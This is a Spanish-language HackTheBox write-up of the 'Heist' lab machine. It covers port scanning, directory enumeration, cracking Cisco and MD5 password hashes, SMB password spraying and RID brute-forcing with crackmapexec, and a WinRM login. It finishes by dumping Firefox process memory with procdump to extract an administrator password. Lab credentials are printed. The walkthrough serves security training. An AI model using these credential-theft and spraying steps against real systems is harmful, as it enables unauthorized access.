> For the complete documentation index, see [llms.txt](https://beafn28.gitbook.io/beafn28/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://beafn28.gitbook.io/beafn28/writeups/hackthebox/heist.md).

# Heist

✍️ Autor: MinatoTW🔍 Dificultad: Fácil 📅 Fecha de creación: 20/11/2019

### 🔍 RECONOCIMIENTO

En primer lugar, tras conectarnos a la máquina, utilizamos el comando:

```bash
ping -c 1 10.10.10.149
```

para verificar la conectividad de red.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FhBt18l2k8di03cbB0UVM%2Fimage.png?alt=media&amp;token=d4fce6b3-9d31-4d6c-b882-8dda34035a65" alt=""><figcaption></figcaption></figure>

A continuación, realizamos el comando:

```bash
nmap -sC -sV 10.10.10.149
```

para realizar un escaneo de puertos y servicios detallado en la dirección IP.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FIWPpxemw7erzmBiyQpZL%2Fimage.png?alt=media&amp;token=e7196a6e-ecd5-4373-9519-db03125c7bb5" alt=""><figcaption></figcaption></figure>

Durante el escaneo se identificaron los siguientes puertos abiertos:

* **Puerto 80 (HTTP):** El puerto 80 está abierto y ejecutando un servidor web **Microsoft IIS 10.0**. Además, la página detectada es **"Support Login Page"** y el recurso solicitado es `login.php`.
* **Puerto 135 (MSRPC):** El puerto **135 (RPC)** está abierto, lo cual indica que el sistema Windows puede estar ejecutando servicios de administración remota.
* **Puerto 445 (SMB):** El puerto 445 está abierto, lo que indica que **SMB (Server Message Block)** está en uso. Esto puede abrir múltiples vectores de ataque.

A continuación, se procederá a analizar cada uno de estos servicios en busca de posibles vectores de ataque.

### 🔎 EXPLORACIÓN

Se utiliza el comando:

```bash
sudo nmap -sCV -p80,135,445 -v 10.10.10.149
```

para que nos proporcione más información sobre esos puertos específicamente.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FNnoFFzEp9ltRCEEIZeYz%2Fimage.png?alt=media&amp;token=17f8b4a0-7ba5-402d-a0fe-37d07f12f09b" alt=""><figcaption></figcaption></figure>

Revisamos el puerto 80.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2F1ksBPneiB8WMbzDVJQmK%2Fimage.png?alt=media&amp;token=597a19c1-38a8-4553-9a60-4df321c4ee37" alt=""><figcaption></figcaption></figure>

Le damos a iniciar como invitado.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FjlIZ1cjUo4dZDilQH6A9%2Fimage.png?alt=media&amp;token=4dc613fc-bed7-4bfd-83f1-56dc40156999" alt=""><figcaption></figcaption></figure>

Vemos que hay dos usuarios llamados **Hazard** y **Admin**. Hazard tiene un problema con el router de CISCO. Hacemos una búsqueda de directorios.

```bash
ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-small.txt -u http://10.10.10.149/FUZZ
```

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FxcCiPiPvePmy4DWPpUua%2Fimage.png?alt=media&amp;token=73b6be9c-7f72-4047-b8a6-e0c5e5e2ae5a" alt=""><figcaption></figcaption></figure>

Me llama la atención el directorio **attachments**.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FaKQMR37RrJxQTDgnPJi4%2Fimage.png?alt=media&amp;token=aa187487-6a64-4bb4-ae05-502a4c197b6a" alt=""><figcaption></figcaption></figure>

Nos da error ya que no tenemos permisos por lo que enumeramos los archivos que contiene ese directorio.

```bash
gobuster dir -u http://10.10.10.149/attachments/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x txt,pdf,jpg,png,zip,docx,csv
```

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FDqJvvc6QxsDUzRk9tAyQ%2Fimage.png?alt=media&amp;token=e0137d21-47a2-4c95-80dc-8dd5422f7970" alt=""><figcaption></figcaption></figure>

Nos llama la atención el fichero `config.txt`.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FHt1lUyiZz25pUAZ0Ardt%2Fimage.png?alt=media&amp;token=cef0d1a8-942b-44f9-ba97-803e29296ac5" alt=""><figcaption></figcaption></figure>

Vemos unas contraseñas de Cisco por lo que las crackeamos.

{% embed url="<https://www.firewall.cx/cisco/cisco-routers/cisco-type7-password-crack.html>" %}

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FFfmRXqP0iYq15bm0VIAv%2Fimage.png?alt=media&amp;token=00ebe179-0865-4b2d-953a-17b5eca7bd1b" alt=""><figcaption></figcaption></figure>

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FdggjmHdfYsStOmUzHQjA%2Fimage.png?alt=media&amp;token=b3e14cd3-4e6d-4cfe-b69f-e3c18963d682" alt=""><figcaption></figcaption></figure>

### 🚀 **EXPLOTACIÓN**

```bash
echo '$1$pdQG$o8nrSzsGXeaduXrjlvKc91' > hash.txt
john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
```

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FSsBz0SUHUGqP9hmqcWwX%2Fimage.png?alt=media&amp;token=26949fdd-9573-4201-9be8-7e8216b154c6" alt=""><figcaption></figcaption></figure>

Con **crackmapexec** miramos las credenicales posibles con Hazard y esas contraseñas.

```
crackmapexec smb 10.10.10.149 -u Hazard -p contraseñas.txt
```

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FotGNRZPTe9pmrmGYCUdT%2Fimage.png?alt=media&amp;token=987ca2f4-a192-481d-9be0-621a869d0349" alt=""><figcaption></figcaption></figure>

El **RID Bruteforce** es una técnica para enumerar usuarios de un sistema Windows explotando cómo funciona el protocolo SMB por lo que eso hacemos.

```
crackmapexec smb 10.10.10.149 -u Hazard -p stealth1agent --rid-brute
```

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FrXo3j2DtS3lNGRpD7MBq%2Fimage.png?alt=media&amp;token=6c61a12d-fdb0-48d6-bb77-653e80a1d2d6" alt=""><figcaption></figcaption></figure>

Han aparecido mas usuarios por lo que descubrimos si tenemos sus contraseñas.

```
crackmapexec smb 10.10.10.149 -u usuarios.txt -p contraseñas.txt
```

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FDsfLRbXLRIcCRO9VIYSc%2Fimage.png?alt=media&amp;token=f91f2bfd-64a4-4a0f-bfd3-7b6b6de3c4f2" alt=""><figcaption></figcaption></figure>

Hemos encontrado las credenciales de **Chase**. Nos logueamos para tener acceso a **WINRM**.

```
evil-winrm -i 10.10.10.149 -u Chase -p "Q4)sJu\Y8qz*A3?d"
```

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FRgY1fbPZucE4iuVWnS3A%2Fimage.png?alt=media&amp;token=08339005-ca8e-4f68-9663-5754fe780584" alt=""><figcaption></figcaption></figure>

### 🔐 PRIVILEGIOS

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FOIkmJCdiRr4427t5qd3i%2Fimage.png?alt=media&amp;token=6d344212-45de-45ed-b0ec-46e02bb066fa" alt=""><figcaption></figcaption></figure>

El primer punto menciona “Seguir revisando la lista de incidencias”. Esto se puede hacer a través de un navegador. Si recordamos, las incidencias eran la sección donde el usuario "Hazard" tenía problemas con su router Cisco y donde pudimos acceder a su archivo de configuración en los adjuntos. Esto sugiere que quien escribió esta nota monitorea activamente las incidencias en el servidor web.

Además, hemos notado que **Firefox** está instalado en la máquina, a pesar de no ser el navegador predeterminado.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FxMbPJFmHadIe85ZOO8RG%2Fimage.png?alt=media&amp;token=900f0582-d61f-4a96-9dd9-06f4ed3d60ac" alt=""><figcaption></figcaption></figure>

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FAWwEVyK2ksAphus5pbrG%2Fimage.png?alt=media&amp;token=2ee81503-0e73-4e5a-81d5-cd0d69cc22da" alt=""><figcaption></figcaption></figure>

Subimos esto.

{% embed url="<https://www.techspot.com/downloads/6550-microsoft-procdump.html>" %}

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FWYemoYJUdkYw1sudysGs%2Fimage.png?alt=media&amp;token=6154c88d-7eec-468f-b9ef-86816ed54d69" alt=""><figcaption></figcaption></figure>

**Generar el volcado de memoria**: Lo primero que hago es obtener el volcado de memoria de un proceso, como Firefox, utilizando la herramienta *procdump*. Para ello, ejecuto el siguiente comando en PowerShell, sustituyendo `<PID>` por el ID del proceso que quiero volcar.

```
.\procdump64.exe -ma 6624 -accepteula firefox.dmp
```

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2F4nm7VBKrszrA1GZZjwj0%2Fimage.png?alt=media&amp;token=be8dc7ac-9879-43a1-8722-5efce5f628ad" alt=""><figcaption></figcaption></figure>

**Buscar las credenciales**: Una vez que tengo el volcado de memoria, procedo a buscar la contraseña o los hashes de las credenciales dentro del archivo `.dmp`. En este caso, encontré la contraseña del administrador: `4dD!5}x/re8]FBuZ`.

```bash
download firefox.dmp
strings firefox.dmp | grep -ie "login_username\|login_password"
```

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FBmGHsYzH5UPyvu3f264s%2Fimage.png?alt=media&amp;token=71d852d5-9282-4c2f-81f8-386c6c4483d9" alt=""><figcaption></figcaption></figure>

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FMf8tF9iuptlgCHHEZUiY%2Fimage.png?alt=media&amp;token=aa1c53e4-692b-4369-9081-de1fe2a22d36" alt=""><figcaption></figcaption></figure>

Conseguimos las credenciales de **administrator** de SMB.

```bash
smbclient //10.10.10.149/C$ -U administrator
```

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FaMPuwKa0EOGOsXXUYDLa%2Fimage.png?alt=media&amp;token=c4a5f6d4-11c6-4de9-84a2-3da3f6b13f43" alt=""><figcaption></figcaption></figure>

Ya somos **root**.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FyYarDZCAeleft2vdIRxV%2Fimage.png?alt=media&amp;token=e7fcd8a6-53f8-480d-bedc-e59f2ac332f4" alt=""><figcaption></figcaption></figure>
